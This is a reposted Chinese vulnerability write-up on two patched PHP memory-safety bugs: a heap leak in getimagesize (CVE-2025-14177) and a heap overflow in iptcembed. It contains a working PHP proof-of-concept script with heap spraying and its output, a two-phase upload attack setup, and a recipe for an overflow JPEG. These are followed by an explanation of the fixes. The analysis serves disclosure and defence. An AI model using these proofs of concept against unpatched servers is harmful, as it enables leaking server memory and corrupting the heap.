文章总结: 本文深入分析PHP内核ext/standard扩展中两个JPEG处理相关的内存安全漏洞:getimagesize函数在读取多块APP段时存在堆内存泄露(CVE-2025-14177),iptcembed函数在重新打包JPEG时发生堆缓冲区溢出。文章从Zend引擎架构切入,详细解析漏洞成因、利用方法及PoC演示,揭示PHP原生函数底层C代码的边界检查缺失风险,建议开发者加强对核心函数的安全审计。 综合评分: 87 文章分类: 漏洞分析,WEB安全,二进制安全,安全开发,红队
distinct allocations
$spray[$i] = $x;
}
unset($spray, $x);
gc_collect_cycles();
// Read through a filter to enforce multiple reads
$src = ‘php://filter/read=string.rot13|string.rot13/resource=’ . $file;
$info = null;
if (!@getimagesize($src, $info) || !isset($info[‘APP1’])) {
echo “Error: failed to obtain APP1 from getimagesize().\n”;
exit(1);
}
$exp = $payload;
$ret = $info[‘APP1’];
// Human-readable output
$lenExp = strlen($exp);
$lenRet = strlen($ret);
echo “APP1 length: expected=$lenExp, actual=$lenRet\n”;
echo “Expected APP1 head (HEX): “, bin2hex(substr($exp, 0, 16)), “\n”;
echo “Returned APP1 head (HEX): “, bin2hex(substr($ret, 0, 16)), “\n”;
echo ($exp === $ret)
? “Result: OK – data matches.\n”
: “Result: VULNERABLE – data differs (corruption/leak).\n”;
// If found – show marker offset and a short snippet
$pos = strpos($ret, $marker);
if ($pos !== false) {
echo “Leak marker found: offset=$pos (inside returned APP1).\n”;
$ctx = 12;
$start = max(0, $pos – $ctx);
$end = min(strlen($ret), $pos + strlen($marker) + $ctx);
$before = substr($ret, $start, $pos – $start);
$mid = substr($ret, $pos, strlen($marker));
$after = substr($ret, $pos + strlen($marker), $end – ($pos + strlen($marker)));
$sanitize = function ($s) {
return preg_replace(‘/[^\x20-\x7E]/’, ‘.’, $s);
};
$asciiLine = $sanitize($before) . ‘[‘ . $mid . ‘]’ . $sanitize($after);
$hexLine = bin2hex($before) . ‘[‘ . bin2hex($mid) . ‘]’ . bin2hex($after);
echo “Snippet with marker (ASCII, marker in []): “, $asciiLine, “\n”;
echo “Snippet with marker (HEX, marker in []): “, $hexLine, “\n”;
} else if ($exp !== $ret) {
echo “Marker not found, but data differs – still indicates a read bug.\n”;
}
执行后成功读到了本应无法访问的堆数据。
$ ./php cli.php APP1 length: expected=16507, actual=16507 Expected APP1 head (HEX): 41414141414141414141414141414141 Returned APP1 head (HEX): 4242424242425a5a5a5a5a5a5a5a5a5a Result: VULNERABLE – data differs (corruption/leak). Leak marker found: offset=16392 (inside returned APP1). Snippet with marker (ASCII, marker in []): -MARKER-123![LEAK-MARKER-123!]LEAK-MARKER- Snippet with marker (HEX, marker in []): 2d4d41524b45522d31323321[4c45414b2d4d41524b45522d31323321]4c45414b2d4d41524b45522d
PoC 2:无过滤器场景。这个变体更贴近真实Web场景(比如从php://input上传并读取),通过控制输入流的发送节奏来触发多块读取。用两个简单脚本:一个模拟上传处理程序(webapp.php),从请求体读JPEG并调用getimagesize;另一个攻击脚本(attacker.php)生成带大APP1段的合法JPEG,分两阶段发送——先发送到APP1段数据的前缀,短暂停顿后再发送剩余部分。默认块大小8192字节,这样就能触发多块读取。
演示时使用FIFO管道:
$ mkfifo /tmp/php-image-poc; ./php webapp.php < /tmp/php-image-poc Result: VULNERABLE (APP1 does not start with Exif) Snippet (ASCII): AAAAKER-123![LEAK-MARKER-123!]LEAK-MARKER-
另一个终端:
$ ./php attacker.php > /tmp/php-image-poc Sending JPEG in 2 phases: total=9038 split_at=24 sleep_us=50000
返回的数据里出现了本不该泄漏的堆内存,证明漏洞利用成功。
修复
修复非常精准:每次读取后缓冲区指针向前移动(buffer += read_now),保证下一个块顺序追加。这次更改在提交“Fix GH-20584”里引入,并附带回归测试。
缺陷二:iptcembed中的堆缓冲区溢出
公开问题:https://github.com/php/php-src/issues/20582
怎么回事
这是典型的“量一次、读到天荒地老”陷阱。iptcembed函数靠单次fstat()结果来分配堆缓冲区大小,然后死命读字节流直到EOF,根本不检查缓冲区容量。
iptcembed[4]用来把二进制IPTC数据嵌入JPEG图片。函数接口:iptcembed(string $iptc_data, string $filename, int $spool = 0): string|bool
技术细节:只量一次,一直写
输出缓冲区(spoolbuf)基于fstat()返回的st_size预分配。之后每读一个字节都往缓冲区末尾追加,从不检查有没有地方。对于非普通文件(如FIFO),st_size为0,但流本身没有固定大小,导致堆缓冲区溢出。即使普通文件,也存在TOCTOU窗口:fstat之后、读取完成之前,文件大小可能改变。
为什么这样构造
FF D8是SOI起始标记;最小APP0段让解析器接受文件;最小SOS段后,代码进入php_iptc_read_remaining,无脑复制至EOF;8MiB的’A’尾巴让一个极小的缓冲区彻底溢出。而spool参数默认0,默认分配spoolbuf,如果spool>=2,则根本不使用缓冲区,也就触发不了溢出。
修复
厂商在2025年11月26日通过PR引入修复。给php_iptc_get1和php_iptc_put1函数增加spoolbuf_end参数,强制边界检查。如果缓冲区已满就返回EOF,不再越界写。
if (spoolbuf) { if (UNEXPECTED(*spoolbuf >= spoolbuf_end)) { return EOF; } *(*spoolbuf)++ = c; }
在iptcembed中计算边界,并加入错误处理路径:如果写操作因缓冲区满而返回EOF,则跳转到清理标签,释放内存并返回FALSE,同时显式设置结束空字节,确保字符串正确终止。
结论
我们掀开PHP的引擎盖,看了ext/standard模块里图像处理相关的两个堆内存漏洞。这些原生函数底层C代码直接处理不可信数据,即便在成熟组件里,这类片段依然是漏洞来源。getimagesize的内存泄露(CVE-2025-14177)和iptcembed的堆缓冲区溢出都已被修复,但它们的存在提醒我们,对外部数据格式的解析机制值得继续仔细审计。
感谢阅读。
参考资料
[1] https://github.com/php/php-src/security/advisories/GHSA-3237-qqm7-mfv7
[2] https://github.com/php/php-src/issues/20584
[3] https://www.php.net/manual/en/function.getimagesize.php
[4] https://www.php.net/manual/en/function.iptcembed.php
[5] https://swarm.ptsecurity.com/hack-the-elephant-one-bite-at-a-time-jpeg-related-memory-safety-bugs-in-php/
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:幻泉之洲 《一次一口吃掉大象:PHP中与JPEG相关的内存安全漏洞》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论